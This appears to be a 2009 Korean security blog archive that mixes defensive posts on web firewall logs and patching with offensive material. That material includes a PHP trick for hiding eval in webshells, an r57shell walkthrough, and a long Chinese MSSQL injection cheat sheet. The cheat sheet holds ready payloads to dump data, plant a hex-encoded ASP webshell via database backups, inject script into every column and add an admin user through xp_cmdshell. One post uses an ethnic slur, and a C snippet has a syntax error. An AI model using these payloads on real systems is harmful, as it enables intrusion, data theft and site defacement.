HANDLE hProcessSnap;
PROCESSENTRY32 pe32; //프로세스정보를 저장할 구조체
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
Process32First( hProcessSnap, &pe32 );
    printf( "\n  Process ID        = 0x%08X", pe32.th32ProcessID );
    printf( "\n  Thread count      = %d",   pe32.cntThreads );
    printf( "\n  Parent process ID = 0x%08X", pe32.th32ParentProcessID );
    printf( "\n  Priority base     = %d", pe32.pcPriClassBase );
while(Process32Next( hProcessSnap, &pe32 );)
{
    printf( "\n  Process ID        = 0x%08X", pe32.th32ProcessID );
    printf( "\n  Thread count      = %d",   pe32.cntThreads );
    printf( "\n  Parent process ID = 0x%08X", pe32.th32ParentProcessID );
    printf( "\n  Priority base     = %d", pe32.pcPriClassBase );
}



PROCESSENTRY32 구조 (tlhelp32.h)
 typedef struct tagPROCESSENTRY32
{
    DWORD   dwSize;
    DWORD   cntUsage;
    DWORD   th32ProcessID;          // this process
    DWORD   th32DefaultHeapID;
    DWORD   th32ModuleID;           // associated exe
    DWORD   cntThreads;
    DWORD   th32ParentProcessID;    // this process's parent process
    LONG    pcPriClassBase;         // Base priority of process's threads
    DWORD   dwFlags;
    CHAR    szExeFile[MAX_PATH];    // Path
} PROCESSENTRY32;

2009/08/27 11:19 2009/08/27 11:19
Windows 객체의 navigator프로퍼티는 Navigator객체를 가리키는데, 이 객체는 브라우저의 버전, 출력 가능한 데이터 포맷들의 목록 등 웹 브라우저 전반에 대한 정보를 담고 있다.
Navigator객체 중 userAgent객체를 이용하여 웹 브라우저의 버전을 확인할 수 있다.
이는 웹 브라우저 버전에 따라 이에 알맞을 동작을 수행하는 악성코드 소스로 사용될 수 있다.

navigator.userAgent를 IE7에서 출력했을때 나오는 결과이다.

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8)


indexOf메소드를 이용하여 MSIE 7.0문자열을 찾을 수 있다.

예)
if(navigator.userAgent.toLowerCase().indexOf("\x6D\x73\x69\x65\x20\x37")==-1)
document.write("IE7이 아님);
if(navigator.userAgent.toLowerCase().indexOf("\x6D\x73\x69\x65\x20\x37")>0)
document.write("IE7 임");


※ OS버전확인예

function ver()
{
    isXPSP2 = (window.navigator.userAgent.indexOf("SV1") != -1);
    if(isXPSP2) brs();
}

2009/08/27 11:17 2009/08/27 11:17

findstr은 grep의 윈도우용이라고 할 수 있다.
웹 로그 분석시 로그파서를 쓰지 않고 간단한 검색에 유용하게 사용할 수 있을듯 하다.

FINDSTR [/B] [/E] [/L] [/R] [/S] [/I] [/X] [/V] [/N] [/M] [/O] [/P]
         [/F:파일][/C:문자열] [/G:파일] [/D:디렉터리 목록] [/A:색 속성] [/OFF[LINE]]
         문자열 [[드라이브:][경로]파일이름[ ...]]

  /B         패턴이 행의 첫부분에 있는지를 비교합니다.
  /E         패턴이 행의 끝부분에 있는지를 비교합니다.
  /L         찾는 문자열을 글자 그대로 사용합니다.
  /R         찾는 문자열을 정규식으로 사용합니다.
  /S         현재 디렉터리와 모든 하위 디렉터리에서 일치하는 파일을 찾습니다.
  /I         찾을 때 대/소문자를 구별하지 않습니다.
  /X         정확히 일치하는 줄만 보여줍니다.
  /V         일치하는 텍스트가 없는 줄만 보여줍니다.
  /N         일치하는 각 줄 앞에 줄 번호를 보여줍니다.
  /M         파일에 일치하는 텍스트가 있으면 파일 이름만 보여줍니다.
  /O         일치하는 각 줄 앞에 문자 오프셋을 보여줍니다.
  /P         인쇄할 수 없는 텍스트가 포함된 파일은 건너 뜁니다.
  /OFF[LINE] 오프라인 속성 세트 파일을 건너뛰지 않습니다.
  /A:속성    색 속성을 두자리 16진수로 지정합니다. "color /?"를 참조하십시오.
  /F:파일    지정된 파일에서 파일 목록을 읽습니다('/'는 콘솔에 해당됩니다).
  /C:문자열  지정된 텍스트를 글자 그대로 찾는 문자열로 사용합니다.
  /G:파일    지정된 파일로부터 찾는 텍스트를 받습니다('/'는 콘솔에 해당됩니다).
  /D:디렉터리    디렉터리 목록을 구분하는 세미콜론(;)를 찾습니다.
  문자열     찾을 텍스트.
  [드라이브:][경로]파일이름
             찾을 파일을 지정합니다.

/C 옵션을 사용한 경우가 아니면, 찾는 문자열을 여러 개 지정할 때
공백으로 분리하십시오. 예를 들면, 'FINDSTR "hello there" x.y' 명령을
입력하면 파일 x.y에서 "hello"나 "there"을 찾습니다.
반면에 'FINDSTR /C:"hello there" x.y' 명령을 입력하면 파일 x.y에서
"hello there"을 찾습니다.

정규식에 대한 참고 사항:
  .         와일드카드: 모든 문자
  *         반복: 문자나 클래스에 대하여 0번 이상 반복
  ^         행 위치: 행의 앞부분
  $         행 위치: 행의 끝부분
  [클래스]  문자 클래스: 세트에 있는 문자
  [^클래스] 역 클래스: 세트에 없는 문자
  [x-y]     범위: 특정 범위에 있는 문자
  \x        익스케이프: 메타 문자 x를 문자 그대로 사용
  \<xyz     단어 위치: 단어의 앞부분
  xyz\>     단어 위치: 단어의 끝부분

Findstr에서 사용 가능한 정규식은 온라인 명령을 참조하십시오.

2009/08/27 11:17 2009/08/27 11:17

MS09-009

해킹&보안/취약점 2009/08/27 11:16
CVE-2009-0238
Secunia-33954

엑셀의 파일포멧취약점이다.
파일 포멧의 레코드중 특정 필드값이 홀수가 되면 조건문에 의해 특정루틴을 수행한다.
사용자 삽입 이미지
2009/08/27 11:16 2009/08/27 11:16
==버전호환성작업======================================================
  63 if(version_compare(phpversion(), '4.1.0') == -1)
  64  {
  65  $_POST   = &$HTTP_POST_VARS;
  66  $_GET    = &$HTTP_GET_VARS;
  67  $_SERVER = &$HTTP_SERVER_VARS;
  68  }
  69 if (@get_magic_quotes_gpc())
  70  {
  71  foreach ($_POST as $k=>$v)
  72   {
  73   $_POST[$k] = stripslashes($v);
  74   }
  75  foreach ($_SERVER as $k=>$v)
  76   {
  77   $_SERVER[$k] = stripslashes($v);
  78   }
  79  }
====================================================================
대상 웹애플리케이션의 버전이 php4.1.0버전보다 낮으면 구버전과 신버전의 php 슈퍼전역변수를 매칭시킨다.
이는 버전상의 호환성을 위한 작업이다.
참고:http://php.filearena.net/manual/kr/language.variables.predefined.php

magic_quotes_gpc옵션을 확인한다.
옵션이 on이라면,
post로 받은 모든값에 stripslashes를 적용하여 magic_quotes_gpc를 무력화한다.
마찬가지로 서버변수에 stripslashes를 적용하여 magic_quotes_gpc를 무력화한다.
참고:http://php.mirror.camelnetwork.com/manual/kr/control-structures.foreach.php
참고:http://php.filearena.net/manual/kr/reserved.variables.php#reserved.variables.server
--------------------------------------------------------------------
사용함수
mixed version_compare  ( string $version1  , string $version2  [, string $operator  ] )
버전비교
첫번째인자가 두번째부다 낮으면 -1, 같으면 0 높으면 1을 리턴

string phpversion  ([ string $extension  ] )
php버전체크

int get_magic_quotes_gpc  ( void  )
php.ini의 magic_quotes_gpc세팅을 리턴한다.
옵션이 off이면 0을 리턴, on이면 1을 리턴
magic_quotes_gpc옵션은 GET,POST,COOKIE로 넘어온 ' " \ null값의 앞에 \를 붙여서 에러발생 및 sql인젝션을 방지한다.
이를 수동으로 처리하려면 addslashes()와 stripslashes()함수를 사용해야한다.

string stripslashes  ( string $str  )
quote기호 삭제

==웹쉘 사용자 인증=====================================================
  81 if($auth == 1) {
  82 if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass)
  83    {
  84    header('WWW-Authenticate: Basic realm="r57shell"');
  85    header('HTTP/1.0 401 Unauthorized');
  86    exit("<b><a href=http://rst.void.ru>r57shell</a> : Access Denied</b>");
  87    }
  88 }
====================================================================
$auth가 1일때,
  PHP_AUTH_USER변수가 설정되어있지 않거나 PHP_AUTH_USER값이 $name과 다르거나 PHP_AUTH_PW값이 $pass와 다르면 사용을 불허하는 기능이다.
--------------------------------------------------------------------
PHP_AUTH_USER
HTTP 인증을 사용하는 모듈로서 아파치에서 수행될때, 이 변수는 유저에 의해 제공되는 username으로 설정된다.
PHP_AUTH_PW
HTTP 인증을 사용하는 모듈로서 아파치에서 수행될때, 이 변수는 유저가 제공하는 password로 설정된다.
참고:http://php.filearena.net/manual/kr/reserved.variables.php#reserved.variables.server

to be continue
2009/08/27 11:15 2009/08/27 11:15
mb_ereg_replace()함수는 정규식을 이용해서 스트링을 변환시키는 기능을 하는데
변환된 문자열을 php코드로서 실행시키는 eval옵션을 가지고 있다.
웹쉘제작에 eval() 대신 mb_ereg_replace()를 사용할 수도 있다는 말이다.
eval()함수만 주구장창 막았다가 피보겠네..
예)
<?php
$str='p'.'h'.'p'.'i'.'n'.'f'.'o'.'('.')'.';';
mb_ereg_replace('^(.*)$', $str, 'string', 'e');?>
2009/08/27 11:15 2009/08/27 11:15
SQL쿼리로 사용되는 파라미터의 값이 중복 사용될 경우 조합되어 쿼리문으로 동작할 수 있다.

ex)
정상 요청
GET /index.asp?query=computer HTTP/1.1
동작하는 쿼리
select * from board where id=computer

HTTP Parameter Pollution
GET /index.asp?query=a&query=b&query=c HTTP/1.1
동작하는 쿼리
select * from board where id=a,b,c

쿼리가 조합될때 중간에 (,)가 삽입된다.

주석을 사용하면 (,)를 삭제할 수 있다.

GET /index.asp?query=a/*&query=*/b/*&query=*/c HTTP/1.1
동작하는 쿼리
select * from board where id=a/*,*/b/*,*/c
2009/08/27 11:14 2009/08/27 11:14

■获取数据库名

 and db_name()=0

 and db_name(0)=0

 and db_name(__i__)=0

 and quotename(db_name(__i__))=0


■获取用户名

 and user=0


■获取版本信息

 and @@version=0


■获取服务器名

 and @@servername=0


■获取服务名

 and @@servicename=0


■获取系统用户名

 and system_user=0


■一次性获取所有基本信息

 AnD (dB_NaMe(0)+cHaR(124)+uSeR+cHaR(124)+@@vErSiOn+cHaR(124)+@@sErVeRnAmE+cHaR(124)+@@sErViCeNaMe+cHaR(124)+sYsTeM_UsEr)=0


■一次性探测权限

 AnD (cAsT(iS_srvrOlEmEmBeR(0x730079007300610064006d0069006e00)aS vArChAr)+cHaR(94)+cAsT(iS_srvrOlEmEmBeR(0x64006200630072006500610074006f007200)aS vArChAr)+cHaR(94)+cAsT(iS_srvrOlEmEmBeR(0x620075006c006b00610064006d0069006e00)aS vArChAr)+cHaR(94)+cAsT(iS_srvrOlEmEmBeR(0x6400690073006b00610064006d0069006e00)aS vArChAr)+cHaR(94)+cAsT(iS_srvrOlEmEmBeR(0x730065007200760065007200610064006d0069006e00)aS vArChAr)+cHaR(94)+cAsT(iS_mEmBeR (0x7000750062006c0069006300) aS vArChAr)+cHaR(94)+cAsT(iS_mEmBeR (0x640062005f006f0077006e0065007200) aS vArChAr)+cHaR(94)+cAsT(iS_mEmBeR (0x640062005f006200610063006b00750070006f00700065007200610074006f007200) aS vArChAr)+cHaR(94)+cAsT(iS_mEmBeR (0x640062005f006400610074006100770072006900740065007200) aS vArChAr))=0


■获取数据库的数目

 AnD (sElEcT cAsT(cOuNt(1) aS nvArChAr(100))+cHaR(9) FrOm mAsTeR..sYsDaTaBaSeS)=0


■获取数据库文件名

 and (select top 1 filename from (select top __i__ filename from master..sysdatabases order by filename) t order by filename desc)=0


■同时获取数据库名和数据库文件名

 AnD (sElEcT ToP 1 rtrim(iSnUlL(cAsT(nAmE aS nvArChAr(4000)),cHaR(32)))+cHaR(9)+rtrim(iSnUlL(cAsT(filenAmE aS nvArChAr(4000)),cHaR(32)))+cHaR(9) FrOm (sElEcT ToP __i__ nAmE,filenAmE FrOm mAsTeR..sYsDaTaBaSeS oRdEr bY nAmE) t oRdEr bY nAmE dEsC)=0


■获取数据库的表的数目

  and (select cast(count(1) as varchar)+char(9) from <数据库名>..sysobjects where xtype=0x75)=0


■获取数据库的表

 and (select top 1 name from (select top __i__ name from <数据库名>..sysobjects where xtype=0X75 order by name) t order by name desc)=0

 and (select top 1 quotename(name) from <数据库名>.dbo.sysobjects where xtype=char(85) AND name not in (select top __i__ name from <数据库名>.dbo.sysobjects where xtype=char(85)))=0


■获取表的字段的数目

 and (select cast(count(1) as varchar)+char(9) from <数据库名>..syscolumns where id=object_id('<表名>'))=0


■获取数据库表的字段

 and (select top 1 name from (select top __i__ name,id from <数据库名>..syscolumns where id=object_id('<表名>') order by name) t order by name desc)=0

 and (select col_name(object_id('<表名>'),__i__))=0


■获取满足条件的表的记录数

 AnD (sElEcT cAsT(cOuNt(1) aS nvArChAr(100))+cHaR(9) FrOm <数据库名>..<表名>)=0


■获取数据库的内容

 AnD (sElEcT ToP 1 rtrim(iSnUlL(cAsT(<列名1> aS nvArChAr(4000)),cHaR(32)))+cHaR(9)+rtrim(iSnUlL(cAsT(<列名2> aS nvArChAr(4000)),cHaR(32)))+cHaR(9)+rtrim(iSnUlL(cAsT(<列名3> aS nvArChAr(4000)),cHaR(32)))+cHaR(9) FrOm (sElEcT ToP __i__ <列名1>,<列名2>,<列名3> FrOm <数据库名>..<表名> oRdEr bY <排序列名>) t oRdEr bY <排序列名> dEsC)=0



■基于日志差异备份

--1. 进行初始备份

; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<临时文件名:e:\wwwroot\m.asp>' With Init--


--2. 插入数据

;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--


--3. 备份并获得文件,删除临时表

;Backup Log <数据库名> To Disk = '<要生成的文件名:e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--


■基于数据库差异备份

1. 进行差异备份准备工作

;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<临时文件名:0x633A5C617364662E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--


2. 将数据写入到数据库

;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--


3. 备份数据库并作最后的清理工作

;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<最终需要备份出的文件名:0x633A5C617364662E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--


■数据库插马(插指定数据库的指定表的满足条件的记录)

;update <数据库名>..<表名> set <字段名>=<字段名>+'<script>alert("有漏洞啊。")</script>' where <要满足的条件>--


■数据库批量插马(插所有可插入的字段和记录,危险!!请谨慎操作!!)

;dEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar,['+@c+']))+cAsT(<要插入的内容(0x编码形式)> aS vArChAr(200<此处长度应做相应修改>))') fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;--



;DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,s yscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<要插入的内容>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor--


■执行命令行(无结果返回)

;exec master..xp_cmdshell 'net user name password /add & net localgroup administrators name /add'--


■恢复存储过程 xp_cmdshell

;Exec Master..sp_dropextendedproc 0x780070005F0063006D0064007300680065006C006C00;Exec Master..sp_addextendedproc 0x780070005F0063006D0064007300680065006C006C00,0x78706C6F6737302E646C6C--


■SQLServer 2005 开启和关闭 xp_cmdshell

;EXEC master..sp_configure 'show advanced options',1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell',1;RECONFIGURE;


关闭 xp_cmdshell

;EXEC master..sp_configure 'show advanced options',1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell',0;RECONFIGURE;


■SQLServer 2005 开启和关闭 OpenDataSource/OpenRowSet

开启:

;EXEC master..sp_configure 'show advanced options',1;RECONFIGURE;EXEC master..sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;

关闭:

;EXEC master..sp_configure 'show advanced options',1;RECONFIGURE;EXEC master..sp_configure 'Ad Hoc Distributed Queries',0;RECONFIGURE;


■SQLServer 2005 日志差异备份


alter database [testdb] set recovery full

declare @d nvarchar(4000) set @d=0x640062006200610063006B00 backup database __dbname__ to disk=@d with init--


drop table [itpro]--

create table [itpro]([a] image)--

declare @d nvarchar(4000) set @d=0x640062006200610063006B00 backup log __dbname__ to disk=@d with init--


insert into [itpro]([a]) values(__varchar(木马内容))--

declare @d nvarchar(4000) set @d=__nvarchar(文件名) backup log __dbname__ to disk=@d with init--


drop table [itpro] declare @d nvarchar(4000) set @d=0x640062006200610063006B00 backup log __dbname__ to disk=@d with init--




                                古木系统安全-管中窥豹 SQL注入工具

                                http://goomoo.cn

                                http://gzkb.goomoo.cn

                                http://www.gzkbsql.cn

                                QQ: 100194004 100194004

                                网易POPO: gzkbsql@163.com

2009/08/27 11:13 2009/08/27 11:13

중국발 Mass SQL 인젝션 공격이 다시 한 번 주춤하고 있습니다. 실제로 최근 들어 공격 횟수가 급격히 줄어 들고 있네요. 아마 인터넷 상에 퍼져있는 다양한 정보들의 도움으로 웹 서버와 웹 소스의 보안이 강화되었고, 이로 인해 쿠키 변조를 통한 Mass SQL 인젝션 공격도 약발이 다 되었나 봅니다.

음… 하지만 공격 횟수가 단순히 줄어 들었을 뿐이지 일련의 사태들이 완벽하게 종식된 것은 아니기 때문에 서버 관리자 분들의 꾸준한 관심과 관리에는 변함이 없어야 할 것입니다.

최근 '웹나이트'를 비롯한 웹 방화벽에 대한 관심도가 크게 향상되었음은 물론이며 윈도우즈 웹 서버에 기본적으로 웹나이트를 비롯한 웹 방화벽이 설치될 정도로 보안 의식이 강화되었다고 합니다.

사실 웹나이트 외에도 하드웨어 웹 방화벽 장비나 기타 웹 방화벽 상품들이 시중에 많이 나와 있습니다만(따지고 보면 그렇게 많은 것도 아닙니다만…) 아무래도 비용적인 부담 때문에 많은 분들이 웹나이트를 선택해서 사용하고 계신 것으로 알고 있습니다.

서론이 길었네요. 예전 글에서도 누누히 말씀 드렸지만 웹나이트는 설치보다 관리가 몇 배는 더 중요합니다. 본 글에서는 웹나이트 설치 후, 반드시 해야 할 일 중 딱 두 가지만 다시 한 번 보기 좋게 정리해 보았습니다. 도움이 되셨으면 좋겠네요~

* 본 글은 '웹나이트 2.1 버전'과 '윈도우즈 2003 스탠다드 SP2 + IIS 6' 를 기반으로 작성되었습니다.


1. 웹나이트 로그를 반드시 정기적으로 확인하세요.

서버 관리자의 주된 업무 중 하나인 로그 확인 및 분석! 웹나이트 역시 정기적인 또는 주기적인 로그 확인이 무엇보다 중요합니다. 웹나이트 2.X 버전부터는 별도의 로그 애널라이저(analysis.exe)가 동봉 되어 있기 때문에 단순히 텍스트 파일을 열어 확인하는 것보다는 한결 수월해졌습니다.

로그 확인의 기본은 해당 로그의 형식 파악입니다. 그럼, 웹나이트에서 남기는 로그의 형식을 알아야 겠죠? 웹나이트의 로그 형식은 다음과 같습니다.

시간 ; 웹사이트 식별자 ; 이벤트 ; 클라이언트 IP주소 ; 사용자 명 ; 이벤트와 관련된 자세한 사항

이해를 돕기 위해 실제 웹나이트 로그를 통해 구분을 나눠보겠습니다.

03:21:39 ; W3SVC1 ; OnPreprocHeaders ; ***.***.***.*** ; ; GET ; /test/test.asp ; id=37'%20and%20user%2Bchar(124)=0%20and%20"=' ; BLOCKED: possible SQL injection in querystring ; HTTP/1.1 ;  ASPSESSIONIDAQDBDDAD=EDIAJJBAFOHJCEKKEMBNCEJD

1. 시간 : 03:21:39

2. 웹사이트 식별자 : W3SVC1

3. 이벤트 : OnPreprocHeaders

4. 클라이언트 IP주소 : ***.***.***.***

5. 사용자 명 : 내용 없음

6. 이벤트와 관련된 자세한 사항 : GET ; /test/test.asp ; id=37'%20and%20user%2Bchar(124)=0%20and%20"=' ; BLOCKED: possible SQL injection in querystring

로그 마지막에 'HTTP/1.1….' 부분은 크게 염두할 사항이 아니므로 과감히 잘라냈습니다. 위의 예제 로그를 분석해 보면 GET 방식으로 전달 받은 변수값에 SQL 인젝션 코드가 삽입되어 있어 웹나이트에 의해 클라이언트의 접근이 차단된 것임을 알 수 있습니다. 아마 URL을 직접 변조하여 SQL 인젝션을 시도했던 모양입니다…-_-;;

만일 로그 분석을 통해 공격 시도가 확인되었다면 서버 관리자는 공격자의 IP주소를 발췌하여 한국인터넷진흥원(NIDA) WHOIS 페이지(http://whois.nida.or.kr)에서 IP주소의 관리사와 관리자 그리고 제원을 확인해야 합니다.

조회된 정보를 살펴보면 하단에 네트워크 어뷰즈(Network Abuse) 담당자의 연락처와 이메일 주소를 확인하실 수 있을 겁니다. 보통 이 네트워크 어뷰즈 담당자의 이메일 주소로 귀사에서 관리하고 있는 네트워크 자원에서 SQL 인젝션 공격(또는 해킹 공격)이 접수되었다는 내용의 메일을 발송해 줍니다.

메일 내용에는 공격자의 IP주소와 해당 서버의 IP주소, 공격이 확인된 시간과 자세한 로그(웹나이트 로그에서 필요한 부분만 발췌하면 되겠죠?) 등을 반드시 동봉해 주어야 합니다.

만일 공격자의 IP주소를 국내 기관에서 관리하고 있다면 보통 처리 결과에 대한 회신이 1~2주 이내로 도착할 것입니다. 해외 기관에서 관리하고 있을 경우에는 처리 결과에 대한 구체적인 회신은 없을지라도 약 70% 이상 내부적으로 조치가 완료되니 너무 염려하지 마시구요.(참고로 해당 ISP 업체가 막장인 경우에는… 답이 없습니다.)

* 참고로 해외 기관에서 관리하고 있는 IP주소일 경우 한국인터넷진흥원 WHOIS 페이지에서 바로 조회 결과가 출력되지 않습니다. 해당 IP주소에 대한 정보 대신 조회해 볼 수 있는 해외 기관의 웹사이트 주소가 출력되는데. 해당 웹사이트로 이동하셔서 다시 한 번 IP주소에 대한 정보를 조회해 보시기 바랍니다.

이제 가장 중요한 것은 재접근 자체를 원천봉쇄 하는 것입니다. 서버 앞 단에 방화벽 장비 등이 이미 설치되어 있다면 정말 베스트겠죠?(방화벽 장비가 설치되어 있지 않다면 윈도우즈 방화벽, IPSEC, IIS 설정 등으로 차단할 수 있습니다만, 역시 방화벽 장비가 쵝오…!)

만일 로그 분석을 통해 확인된 공격자의 IP주소가 123.123.123.123 이라며 단순히 123.123.123.123 IP주소만 차단할 것이 아니라 C클래스, 즉 123.123.123.0 부터 123.123.123.255 까지 대역 자체를 차단하는 것이 좋습니다.

그 이유는 공격자의 IP주소가 해커의 손아귀에 들어간 흔히 말하는 좀비 서버의 IP주소라면 같은 세그먼트에 연결되어 있는 다른 서버 역시 좀비 서버가 되었을 가능성이 높기 때문입니다. 보통 같은 세그먼트에 연결된 서버끼리는 포트뿐만 아니라 IP 자체를 오픈해 놓는 경우가 많습니다. 포트스캐닝 프로그램만 한 번 돌려보면 손쉽게 다음 타겟을 찾을 수 있지요.


2. 새로운 해킹 동향에 대해 관심을 가져주세요.

어떤 분께서 이런 말씀을 하시더라구요. '보안은 곧 관심이다.' 라고요. 저는 이 말에 100배 공감합니다. 새로운 해킹 수법은 이미 그 피해 사례가 확대되기 전에 설이 풀리기 마련입니다. 물론 그 설에는 다양한 정보들이 내포되어 있습니다.

새로운 해킹 수법에 의한 피해 사례는 보통 국내 보다는 해외에서 먼저 발견되는 경우가 많습니다. 보통 일본과 미국 쪽에서 먼저 리포팅 되곤 하는데 영어의 압박이 있긴 합니다만 해석이 불가능 할 정도로 어려운 글들은 아닙니다. 사실 우리가 보안과 관련해서 사용하는 용어들도 영어가 많기 때문에 그나마 위안으로 삼으시면…-_-;;

그리고 이런 정보들이 국내 IT 보안 전문 업체나 해커들에 의해 해석되고, 분석되서 손쉽게 재가공된 정보가 검색될 때도 국내 피해 사례는 그렇게 크지 않습니다.(거의 없다고 봐도 무방할 정도로…) 늦지 않았다는 얘기지요. 이번 쿠키 변조를 통한 Mass SQL 인젝션도 그랬고, 그 이전에 Mass SQL 인젝션도 그랬습니다.

관심을 갖는다면 충분히 사전에 예방할 수 있습니다. 음… 제가 시간 날 때마다 방문하는 웹사이트 몇 군데를 소개해 드릴까 합니다.

- http://www.secureworks.com/research/threats/
- http://www.nchovy.kr/
- http://swbae.egloos.com/
- http://www.krcert.or.kr/index.jsp
- http://www.us-cert.gov

2009/08/27 11:09 2009/08/27 11:09

지난 2008년 10월 3일, 이름만 들어도 제 몸을 흠칫! 하게 만드는 Cain(풀네임은 Cain & Abel)이 4.9.23 버전으로 업데이트 된 바 있습니다.

사용자 삽입 이미지
 

# 왠지 그림 마저 무섭다…ㅎㄷㄷ

사실 Cain은 ARP Spoofing을 비롯한 네트워크 유해 현상을 발생시키기 위해 제작된 프로그램이 아닙니다. 다만 그 기능이 너무 출중하다보니 네트워크 해킹 툴로 쓰이는 불명예를 얻게 되었을 뿐이죠. Cain 프로그램에 대한 개요나 릴리즈노트 등은 아래 공식 웹사이트를 통해 좀 더 정확하게 확인하실 수 있을 겁니다. 시간 나실 때 한 번 방문해 보세요.

http://www.oxid.it

아무튼 새로운 버전이 나왔으니 얼마나 달라졌을까 궁금했을터! 그래서일까? 아니면 우연의 일치일까? 정확한 진의는 알 수 없지만, 아무튼 최근 들어 간헐적으로 ARP Spoofing이 발생하고 있습니다. 물론 경유지 서버에서 검출되는 Cain은 4.9.23 버전. 범인의 국적은 10명의 10명 모두 역시나 짱깨들이죠

문뜩 처음 Cain을 접했을 때가 생각납니다. 저는 이 악마 같은 프로그램을 보며 '대… 대박인데?' 를 입에서 떼어 놓질 못했지요. 거기다 프리웨어라니… 사용자가 품고 있는 사용 목적에 따라 사탄의 종자가 될 수도 있고, 눈부신 천사가 될 수도 있는 Cain! 그건 아마 스니퍼(Sniffer)가 갖고 있는 그것(양날의 칼 정도…)과 같을 겁니다.

각설하고!

누군가 서버에 프로그램을 설치했다는 것은 원격데스크탑을 통해 서버에 접속했다는 뜻입니다. 그리고 대부분 이 해킹 수법의 시작이 SQL 인젝션이라는 것! 많은 분들이 알고 계신 사실 중에 하나죠.

SQL 인젝션을 통해 서버의 최상위 권한이 탈취 되었다는 것은 MSSQL의 SA 계정을 웹소스에 직접 적용하여 사용하고 있다는 일종의 간접적인 예입니다. 병적으로 SA 계정을 싫어하는 저는 SA 계정을 웹소스에 적용하여 사용하는 일부 웹프로그래머들의 작태가 이해 되지 않습니다. 관리용 목적으로 생성되는 계정을 웹 서버와 DB 서버 간의 통신에 이용하다니… SQL 인젝션이 발생하면 아무 제한 사항 없이 해커에게 SA 계정을 사사해 주는 격이 되어 버리는데 '제발 좀 뚫어주세요~' 이것과 차이점이 없습니다. MSSQL 로그인 계정을 생성해서 데이터베이스와 매핑하는 일이 어려운 작업도 아니고 마우스 클릭 몇 번만 하면 손 쉽게 처리할 수 있는 부분인데 왜 굳이 SA 계정을 사용해야만 하는 것인지…

지금이라도 늦지 않았으니 웹 서버와 DB 서버 간의 통신에 SA 계정을 사용하고 계시다면 빠른 시일 내에 MSSQL 로그인 계정으로 수정하시길 간곡히 부탁 드립니다. ARP Spoofing이라는 거 내 서버에만 문제 생기는 게 아닙니다. 같은 세그먼트에 묶여 있는 죄 없는 다른 서버들에게도 같이 피해를 주는 것입니다.

2009/08/27 11:08 2009/08/27 11:08

최근 SK인포섹에서 발표한 자료 중에 MSSQL의 'sp_replwritetovarbin' 확장 저장 프로시저의 힙 오버플로우 취약점을 악용한 원격코드 실행(Heap Overflow Exploit)과 관련된 내용이 있었습니다.(길기도 하지…)

'오버플로우' 라는 대목에서 이미 예견하셨겠지만, 당하면 해당 서버의 최상위 권한을 탈취당합니다. -_ㅠ

제가 알기로는 마소에서는 MSSQL 2005 이하 버전에 대해서는 업데이트를 중단했습니다. 저희 회사에서도 그렇지만 아직은 그래도 MSSQL 2000을 가장 많이 사용하고 있는데… 과연 이와 관련해서 패치가 나올지 모르겠습니다. 참고로 현재 위 내용에 해당되지 않는 MSSQL 버전은 MSSQL 7.0 SP4와 MSSQL 2005 SP3, MSSQL 2008이라고 합니다.

아무튼 SK인포섹에서는 급한대로 'sp_replwritetovarbin' 확장 저장 프로시저의 퍼블릭 실행 권한을 제거하길 권고하고 있습니다.

전 일단 혹시나 몰라서 웹나이트 룰에 'sp_replwritetovarbin' 과 'replwritetovarbin' 부분만 아스키코드로 변경해서 '7265706C7772697465746F76617262696E' 를 추가해 두었습니다. 그리고 그 동안 눈덩이 처럼 쌓여있던 웹나이트 로그를 오랜만에 뒤적여 보았습니다. 동일한 또는 비슷한 공격이 있었는지 확인해 보고 싶었는데 아쉽게도 없더군요. MSRC에서도 Exploit는 웹 상에 공개되었지만 실질적인 공격은 아직 확인된 바 없다고 했었지요.

아무튼 뭔가 찝찝 합니다. 항상 그랬지만 MSSQL과 관련된 Exploit들은 SQL Injection에 힘을 실어 주니까요.

